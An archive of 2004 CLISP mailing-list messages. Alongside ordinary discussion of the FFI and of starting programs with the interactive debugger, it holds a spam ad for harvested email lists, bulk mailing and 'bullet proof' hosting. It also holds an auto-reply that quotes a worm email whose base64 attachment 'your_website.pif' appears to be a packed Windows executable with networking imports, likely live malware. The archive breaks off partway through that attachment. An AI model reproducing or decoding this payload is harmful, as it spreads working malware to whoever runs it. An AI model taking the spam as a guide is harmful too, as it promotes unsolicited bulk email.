bet there's pure :in as well. Then it would be more reasonable to provide a fixed set of wrappers. Regards, Jorg Hohle. From sds@gnu.org Thu May 13 10:27:12 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BOJzE-0004rg-Ag for clisp-list@lists.sourceforge.net; Thu, 13 May 2004 10:27:12 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BOJzD-0004ss-RI for clisp-list@lists.sourceforge.net; Thu, 13 May 2004 10:27:11 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i4DHR3Ch009500; Thu, 13 May 2004 13:27:03 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0330C37F@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Thu, 13 May 2004 18:17:51 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A0330C37F@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: FFI with complex numbers? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 13 10:28:02 2004 X-Original-Date: Thu, 13 May 2004 13:27:03 -0400 > * Hoehle, Joerg-Cyril [2004-05-13 18:17:51 +0200]: > > You CAN use Sam's code. It must be faster than using the FFI. But it > also does not overwrite the results, you'll have a two line loop. it _DOES_ overwrite the results!!! please look at the code again! -- Sam Steingold (http://www.podval.org/~sds) running w2k cogito cogito ergo cogito sum From Joerg-Cyril.Hoehle@t-systems.com Fri May 14 02:17:13 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BOYoa-0006uO-K0 for clisp-list@lists.sourceforge.net; Fri, 14 May 2004 02:17:12 -0700 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BOYoZ-0002bj-UX for clisp-list@lists.sourceforge.net; Fri, 14 May 2004 02:17:12 -0700 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 14 May 2004 11:17:02 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 14 May 2004 11:17:03 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0330C458@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] AW: FFI with complex numbers? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 14 02:19:00 2004 X-Original-Date: Fri, 14 May 2004 11:17:02 +0200 Sam wrote: >it _DOES_ overwrite the results!!! >please look at the code again! Oops, my fault. It was so short, yet I didn't see these two lines :-) From seh@panix.com Sat May 15 17:02:05 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BP96S-0005cI-Go for clisp-list@lists.sourceforge.net; Sat, 15 May 2004 17:02:04 -0700 Received: from mail1.panix.com ([166.84.1.72]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BP96S-000104-4J for clisp-list@lists.sourceforge.net; Sat, 15 May 2004 17:02:04 -0700 Received: from mailspool2.panix.com (mailspool2.panix.com [166.84.1.79]) by mail1.panix.com (Postfix) with ESMTP id EF1D748CBD for ; Sat, 15 May 2004 20:01:57 -0400 (EDT) Received: from torus.sehlabs.com (dialup-4.241.21.237.Dial1.SanDiego1.Level3.net [4.241.21.237]) by mailspool2.panix.com (Postfix) with ESMTP id AEA692BAAA0 for ; Sat, 15 May 2004 20:01:56 -0400 (EDT) Received: from seh by torus.sehlabs.com with local (Exim 4.31) id HXS5EW-0001YS-78 for clisp-list@lists.sourceforge.net; Sat, 15 May 2004 17:01:44 -0700 To: clisp-list@lists.sourceforge.net From: "Steven E. Harris" Organization: SEH Labs Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: <83r7tlme8o.fsf@torus.sehlabs.com> User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Rational FORTRAN, cygwin32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Running a batch program the permits use of the debugger Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat May 15 17:03:45 2004 X-Original-Date: Sat, 15 May 2004 17:01:43 -0700 CLISP offers many ways to start up a CL program, but I can't find one that allows me to enter the interactive debugger when an error arises. All of the techniques I've tried so far -- the "#!" shell script (with and without -interactive-debug), the saved image with an :init-function, and passing a form on the command-line all disable interactive debugging (including restart selection). I have some programs written that I /expect/ will not work properly right away, but I'd like to start using them outside of XEmacs/SLIME (where the debugging interface is just fine). And even if my programs did work properly, they may still wish to use interactive restarts. I'd like to be able to kick off one of my CL programs like: ,---- | $ myprog arg1 arg2 | running... | running... | *** - ERROR: Something went wrong. | The following restarts are available: | TRY-AGAIN :R1 Try this operation again. | | Break 1 [4]> `---- Is there some way to prepare a program with CLISP that will permit this kind of interaction? -- Steven E. Harris From sds@gnu.org Sat May 15 19:28:06 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BPBNl-0002uI-RO for clisp-list@lists.sourceforge.net; Sat, 15 May 2004 19:28:05 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BPBNi-000422-JC for clisp-list@lists.sourceforge.net; Sat, 15 May 2004 19:28:02 -0700 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 4.32 #2) id 1BPBNg-0000dX-Fd; Sat, 15 May 2004 22:28:00 -0400 To: clisp-list@lists.sourceforge.net, "Steven E. Harris" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <83r7tlme8o.fsf@torus.sehlabs.com> (Steven E. Harris's message of "Sat, 15 May 2004 17:01:43 -0700") References: <83r7tlme8o.fsf@torus.sehlabs.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Steven E. Harris" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Running a batch program the permits use of the debugger Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat May 15 19:29:00 2004 X-Original-Date: Sat, 15 May 2004 22:27:47 -0400 > * Steven E. Harris [2004-05-15 17:01:43 -0700]: > > CLISP offers many ways to start up a CL program, but I can't find one > that allows me to enter the interactive debugger when an error > arises. normally, scripts are run under SYSTEM::BATCHMODE-ERRORS (executes the forms, but handles errors just as a batch program should do: continuable errors are signaled as warnings, non-continuable errors and Ctrl-C interrupts cause Lisp to exit) with -interactive-debug, continuable errors are turned into warnings and CONTINUE restart is invoked automatically. with -repl, you get full interactivity on any error. http://clisp.cons.org/clisp.html#opt-interactive-debug http://clisp.cons.org/clisp.html#opt-repl -- Sam Steingold (http://www.podval.org/~sds) running w2k Daddy, why doesn't this magnet pick up this floppy disk? From Lookingemails@eyou.com Sat May 15 23:31:09 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BPFAy-00040l-QA for clisp-list@lists.sourceforge.net; Sat, 15 May 2004 23:31:08 -0700 Received: from [218.86.44.148] (helo=eyou.com) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1BPFAx-0006Kq-Q9 for clisp-list@lists.sourceforge.net; Sat, 15 May 2004 23:31:08 -0700 From: "John" To: Mime-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Reply-To: "John" Content-Transfer-Encoding: 8bit Message-ID: X-Spam-Score: 1.3 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.3 TARGETED BODY: Targeted Traffic / Email Addresses Subject: [clisp-list] Re: Marketing Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat May 15 23:32:00 2004 X-Original-Date: Sun, 16 May 2004 14:39:18 +0800 E-mail is the fastest growing marketing tool. We offer E-mail Marketing with quality service and the lowest prices. 1. Targeted E-mail Addresses We can provide targeted e-mail addresses you need, which are compiled only on your order. We will customize your customer e-mail addresses. * We have millions of e-mail addresses in a wide variety of categories. 2. Send out Targeted E-mails for you We can send your e-mail message to your targeted customers! We will customize your email addresses and send your message for you. * We can Bullet Proof your Web Site $ dedicated server. We also offer Fax Broadcasting Service. For more details, you can refer to: Http://www.9206.com Looking forward to serving you. Regards! John Okoh www.9206.com Support@9206.com ************************************************************************* To take your address: Http://213.172.0x1f.16/index.html ************************************************************************* From vim-return-@vim.org Tue May 18 02:41:32 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BQ16G-0004Lb-Og for clisp-list@lists.sourceforge.net; Tue, 18 May 2004 02:41:28 -0700 Received: from foobar.math.fu-berlin.de ([160.45.45.151]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1BQ16F-0000fg-Iv for clisp-list@lists.sourceforge.net; Tue, 18 May 2004 02:41:27 -0700 Received: (qmail 22488 invoked by uid 200); 18 May 2004 09:44:19 -0000 Mailing-List: contact vim-help@vim.org; run by ezmlm Message-ID: <1084873459.22487.ezmlm@vim.org> From: vim-return-@vim.org To: clisp-list@lists.sourceforge.net Delivered-To: responder for vim@vim.org Received: (qmail 22466 invoked from network); 18 May 2004 09:44:17 -0000 Received: from badboys.univ-mlv.fr (HELO vim.org) (193.50.159.4) by foobar.math.fu-berlin.de with SMTP; 18 May 2004 09:44:17 -0000 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-Spam-Score: 2.9 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 1.6 LARGE_HEX BODY: Contains a large block of hexadecimal code 0.8 MSGID_FROM_MTA_HEADER Message-Id was added by a relay 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] ezmlm response Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 18 02:43:32 2004 X-Original-Date: 18 May 2004 09:44:19 -0000 Hi! This is the ezmlm program. I'm managing the vim@vim.org mailing list. This is a generic help message. The message I received wasn't sent to any of my command addresses. --- Administrative commands for the vim list --- I can handle administrative requests automatically. Please do not send them to the list address! Instead, send your message to the correct command address: To subscribe to the list, send a message to: To remove your address from the list, send a message to: Send mail to the following for info and FAQ for this list: Similar addresses exist for the digest list: To get messages 123 through 145 (a maximum of 100 per request), mail: To get an index with subject and author for messages 123-456 , mail: They are always returned as sets of 100, max 2000 per request, so you'll actually get 100-499. To receive all messages with the same subject as message 12345, send an empty message to: The messages do not really need to be empty, but I will ignore their content. Only the ADDRESS you send to is important. You can start a subscription for an alternate address, for example "john@host.domain", just add a hyphen and your address (with '=' instead of '@') after the command word: To stop subscription for this address, mail: In both cases, I'll send a confirmation message to that address. When you receive it, simply reply to it to complete your subscription. If despite following these instructions, you do not get the desired results, please contact my owner at vim-owner@vim.org. Please be patient, my owner is a lot slower than I am ;-) --- Enclosed is a copy of the request I received. Return-Path: Received: (qmail 22466 invoked from network); 18 May 2004 09:44:17 -0000 Received: from badboys.univ-mlv.fr (HELO vim.org) (193.50.159.4) by foobar.math.fu-berlin.de with SMTP; 18 May 2004 09:44:17 -0000 From: clisp-list@lists.sourceforge.net To: vim-help@vim.org Subject: Re: Your website Date: Tue, 18 May 2004 11:41:23 +0200 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0006_00002E68.00002544" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0006_00002E68.00002544 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Your document is attached. ------=_NextPart_000_0006_00002E68.00002544 Content-Type: application/octet-stream; name="your_website.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="your_website.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgC AAAjWZWUi0QkBIPEKo2QNAAAAIPECGoQi9hmBS0AUFJqAIsb/xNq//9TDEVSUk9SIQBDb3Jy dXB0IERhdGEhALgAcEEAaNFrQABk/zUAAAAAZIklAAAAAGacYFBoAABAAIs8JIswZoHHgAeN dAYIiTiLXhBQVmoCaIAIAABXahNqBlZqBGiACAAAV//Tg+4IWfOlWWaDx2iBxsIAAADzpf/T WI2QuAEAAIsKD7rxH3MWiwQk/Yvwi/gDcgQDegjzpYPCDPzr4oPCEIta9IXbdNiLBCSLevgD +FKNNAHrF1hYWFp0xOkc////AtJ1B4oWg+7/EtLDgfsAAAEAcw5oYMD//2hg/P//tgXrIoH7 AAAEAHMOaICB//9ogPn//7YH6wxoAIP//2gA+///tghqADLSS6QzyYP7AH6k6Kr///9yF6Qw X/9L6+1B6Jv///8TyeiU////cvLDM+3o6f///4PpA3MGiwQkQesji8EPts7odf///xPASXX2 g/D/O0QkBIPVATtEJAiD1QCJBCToV////xPJ6FD///8TyXUI6Kb///+DwQIDzVYr2Y00OPOk XuuDLovAuA4AgNxKAAD8XwEAICUBAKlGAAAAEAAArxIAAN5PAQAmDwAAAGAAALQBAACVVwEA 5BIAAABwAAA4ugEAAAAAAMYTAAAAAAAAAAAAAAAAAABicwEAiHIBAAAAAAAAAAAAAAAAAG1z AQCUcgEAAAAAAAAAAAAAAAAAenMBAKhyAQAAAAAAAAAAAAAAAACGcwEAsHIBAAAAAAAAAAAA AAAAAJFzAQC4cgEAAAAAAAAAAAAAAAAAnnMBAMByAQAAAAAAAAAAAAAAAAAAAAAAAAAAAMhy AQDWcgEAAAAAAOJyAQDwcgEAAHMBABJzAQAAAAAAJHMBAAAAAAALAACAAAAAAEBzAQAAAAAA VHMBAAAAAAAAAE1lc3NhZ2VCb3hBAAAAd3NwcmludGZBAAAARXhpdFByb2Nlc3MAAABMb2Fk TGlicmFyeUEAAAAAR2V0UHJvY0FkZHJlc3MAAAAAVmlydHVhbFByb3RlY3QAAAAASW50ZXJu ZXRHZXRDb25uZWN0ZWRTdGF0ZQAAAEdldE5ldHdvcmtQYXJhbXMAAAAAUmVnT3BlbktleUEA VVNFUjMyLmRsbABLRVJORUwzMi5kbGwAV0lOSU5FVC5kbGwAV1MyXzMyLmRsbABpcGhscGFw aS5kbGwAQURWQVBJMzIuZGxsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABVACNL LeCo9fUqAN2XrU+vUqlvABioluG9wPiQAMukUQTRgwCWAAh8qPCIC46DGwsqdsh4rZIAff8q c3UyNDah4RiNMLEZ5wLoY+8nAGEAAACf0B59LFAEyC92WUGoz7dMAENKSTV9SfNMFsaLNcr/ Fv1JH7pmAAz4ST+5Lje4ADBpaxfaVNyoKVsn6WaIgGsa2xs1XVso89/0VBJZEQgX5bEWjCwK qlyNQcKD7RjLg3xeEl8VcPcISg3wx0DdLWFWA1+QEk6COEiI9CmEAHeOVp81jodfBoA8bgTL ukUA8PSqislLA8oDo/220qcHaQa/vM2/RlJdDancS8uEx0LEhVW8lAcAn2XWp8YU3gGVd5/w rGdAQTSKGzbUfpTtxgpweFp0NfaVLQU4RZJQikZ++nALsQw8A2oXYVErIyhKZD2rHA29DFJQ ACWwproYIpZZyW0kw88Vq7fAJtzrbCK931+m5uVEwtKGp6zcLHTNSZTO8IsSJk/mGkz94/HU gF+O9FqBx24MIOl8X88RU1+p9LJotlZpzVZfWWS2/3IKl3eGgym+14JqOdlGpM3aIpS5KQSm nmCwR7hG3La+JUXw+KOiSrSNvpSl9cvtqp+YRcDGxmgowiP+VQp02W2wDRRq9g86LaCVElpe smugpDsZcpSnPM2teZUv2AijvJj8pLhQqTaCkxAVw4EdYaiKohdLr2nLQG1Q+CcmMQU0Y9oy LFAQ1HKvGtZcAK6iJukK3oJM8rIDNUlgl+duAIUVbILFtJs4AnhLdPUsdDl2vKJo+V1KN8Rn 5F2FAOSZjm6qHl6hsFKXITMx1F0b3W+RR5ewnlJ2ijs2S3+6t9ExQ0HbEIP4tAbDmz4tTVz7 +dsaefWquHZqzscNQkXH2JoeWqO+HRaHfX0yCgXD+LwP2fnyv/0BEGyJVmR5MQtfQysE8+IU W2XfJsUlTX/OV+wgyi27Ru/m0QRHEBXtRqv7oFbAZDyFk6EgcArlmkn3ljcfmkFE4p1uD/ox WeO00ACBAo36ZfsBFbrKQo6+D8SHFHEobC435RAFV3o6AmwP7h9PYYlAqyjkqRfhchhx3h32 DFhXsKSFkyyXJYcVCwhoyxZVCpQsiOKLXjr6yGiuSFhl2aipTFS6Grt9o1Av3ZCM85bYI+fA 8KiRk+dcg4p2KvmB3VJxT77x2sFrFEUR401jiIcNWm+BWkhtEWS5xIk9Z1sg2Ce1WFgX0gBR sgQZSak1T3AkCdZJxzljSgEfDNpLSEFFqhcm+tdYUCPLFtWHkFsXyzUDE4UQZ1m15HaK/50n 1CoBq2Vd8hRXEoV8fQdZDL9hwVprCrSsBLn+rgcOm9GDgDqhkiMtjGsCqVSLyz+9ngstKZLF tAlWBYpHlkqqxX985aMuleq+uK5jVU2k3MncgXMw8vp1VHhVxZW/cU8Cjocec1ZTbWXYaWRX d6rUage4iBa7Vbtmp6PgUUQauljiMD8BysbzEn7rIObYhKNRVLLr6zUHvpgv2XA8j1tmS/fT g9/51fz+koj5CWTe3gAfmIPlbU09+/EqBFN4Pz0urYYRt3+zUMFAkt23Ya3zleTkX7/XQyiZ rDKo3DgBbL3fwj/ONGHF0ZQSKiLLvi5sXtqrsBNPDpFo0S9apBvopVxHGxtJ2ShT1ygoqMe4 M5z/Kt94SEISqPIyuOeUahnOejNTlEso1j8WzBMhGkboBvIX03YUEXdCST3CoZKdnX9dgQBK IQiLE4sQ00KN/XgYuZQV8iI0Gvk7J3Pg0e1heEDgbbXinPsTao/fSdjYJNaS19wgI8V0+KL1 wgqBv+LFtDP4QSFVizkytEgbjyHppNcS9C7HV2oQiUPi7zHC0lf+eMlU6whh6ISeQh0Qm+Tw DIA30DHBPID2CYT7QgYh4AMQ/QCI+gVEh3oi9A8R6RQI7hGE00IuJ8g70IoJa46hlPS+U0/9 TUyNcnWBdyifheqKg0zoIh4x/jkDFZrgFj656KQo3T6s3+IcZdOZCD3OuAQ6xibNyGM/Mo5+ D50GDMy1FopoIW8Pwps/+sNx0vLIKMOOZcrIshqwl8RZqdRqiaBzIHYDc38L+90eZo9pgI+k B5Lp+rgH11918NtvrhrsqdQXQfIrqrt5NVNh73UedLnMws8uNX2SSjxqOBUqz/d5KN5ZKbqH boRPpgOjUKHeI2NRxSoiRWwjCNHPfGKC8eHjhg9VEYAw9FaNu8sRsFeq/jwmDs80hqP5pJmh Aq1pF+ybAsVXG5aA8LXaRIUsI2XgpavSjIsipFg3RDPfnw6txK280umBEKEUpw3qoVWjLvb+ bWqv/PeAHVUAY3BsOGjc15UE/VNv0pNHi04SsrMq8EVrtK8ofwCW/cDRC6TIbG+7kpVuWRAV SzW8zvtjfQwBLl0rXHxjeH3GIUzGs0lVNzLEC5Fq00kw0wNzGPGknSNWCAQTjrxMpPQ9JXOm gB6BDEpOOwwDcQ6OBjY9jMGJInlc6kh/ZcGR0mBhlf0og2/1YxjBsxxE1a4M2ZgzJuzirUjC 9LMKxsV3Gm06RYVxAIMQVFk9hZbPF7BTNQ+psFa/SMJtrwHHYAASxQWfwB6ho1BQ2N2+0F5c OvkHpAW4nMKGmSw5qECCBRaKnGRqbF9zZTSHfqxLlTqh31bqSktIZEOnKapSDbkRwrBhCng5 UiEBxcN4xeqjPTMr7dqPaOGKeh/wFezpNjKsTR1Ee6r79p0UHqn/1SfpWbEN7kKu8P3wOojn ba4huqWVO3+YFYTXeV1XkorMlnnvKGLr64BURLpNMiyJ2sxvpVrvLEX0UatcQ+QUiXKyhtK6 3CWN8ylugubFaopS2mb4HPyEALSScfn3JB4uuvAtgAr9lF+Z9SDWWM6qavPuoKb1JSimf/Mu j0YSA3mCGTCyyImKBKj4dDu+yu5hdMw8QB2TWmXahdMCa5aSZZu1qa9AmqglbXQI1v95Ssbc Qp/l3MvXi6KMTER/Nyzj+qKEQKZBB2TgOqoOtI8NNcTwtYfxqQWQEV1ESjqWPkOikCfhYSsg Vp1+dG2dLhft6Xwf3OzN9Whf7UoZBy3Mjuk/BTjyXhbpvGjMFihaccBcQJjtRg8hMNUyubjk FQqOAoVRH+Py+B1YEjtZaT3HDuMPi82wfFG0BP5nusv+yVOqpUb6HDuTBiAooQ5s3sd/TAMK roRKpChG69cOBEOGOqMOoX8UVlLevoCyvR4nbHjmhoG0mY2HElSO0ZUoOZaoJu3h5B8gPrZe wcwWqIMQ21F1DvGUQROTF69wkEAoBLQCF6gYSdrNDiV8kVok20BYckan3kE6vET7qEDsQVF9 ZIUGbyEp1T6hkbnc8W3VZaSl4K64VzU+d/OLyhg5AqykIWLqoQGbrCIMiFN4+LEI2TZ/FEKl GHx5vIFVfs+Pi9m5xdMUc8ig8TOqljK9E3jEr+uK04Oq/WdL/qQL73RDT4gxEd2sgwBMDoeT BUALehFBdg5lvyBWNPWKcrjIEoUx0Nj6rzNk2ee0gAl92qlUo+NCswUMDX3ipRsYitqIti8K /s9RIgLOE0c+CHv+nUI6or0ljMzIJYEHW1klZTbUxzORtMEKZhFTVFnkoq/glKRAqdD7pKZO XftGIhTcuvg1x7FayLmqu3teiVsn368OqDRz/PrKUuwOt4n1M1I73n/2oehFjkecmwLrL2yu kp2Jx99E8kAH/65NmTzc3hQEiAanzQX0koFreHV/oEjylVs93Sv1nkdRugr9wb9zSNEKrq8t JPdBzywrspUPFnOSSmfJgYBN27A5TCsOvTmBn699vMQVFnY6gms+Yc0FU9XqYJtA5fdQFacc fi/qIKAA5sZULkiLKB5siiPBnIXw0IOL6Mlj28jKgPhtkRTrnOun0+IbebC+RzMy0CMSlmED k0w15bLDS9rAQT/DsDsj8WPfGfXy2buuik5i9P5hO9Rm+QrfgPO0XZ7Zk7vlVFudLwVkBW13 M3W+jYf37AMrrTTzDgxEuzLjSB98BQI8mVDcRo4KVHVTxlRWWsV/bPKASKNgi280HsaS800i /iQiTRBzkZAijmoUBAu1BhrpsO22pkYSiFsQ+Yajm6pF+UiJ0Ff/YpeUt6fQGZvzYyne3/Uq qECfj+4kpw46tcjxsYr9wEPPKpOvqFkfeTEkdlSUdJH6WlR6fW23VpFXXOyYn98gvDJHWvzZ PDulzAsDdP6D/l1EZYtWe5stM99zPXQQV94mXbQJ9fE9XMqpkxC8gR0OXN3WKosbMyIxIiN+ Ter1r8tzfo+DF5nDAHBqqVMzQ9ghnxqCiNVGvb69zgLjVJ7RiNYXiMy/LyGlsNXW91hCBoH6 xeRvpGxPinSYNkVFkQ87kEeIWKD1r6ZYrVYHaMUmKmydtEjILihVY0v4F+C3BsKCzG51o5r/ x7tscbmaToDQATpSxaLRwOmfVxJh+79fv5J0Sd2pgs4iyWCrwzmEp19DW0Xy8cPif+0Ih0pu +SsghezWhw0MZhBphY02c6q7hLqEXIMUM0w5dxC5RUranc9b5nNAmYdoLvVcU0hMsv8onuaZ 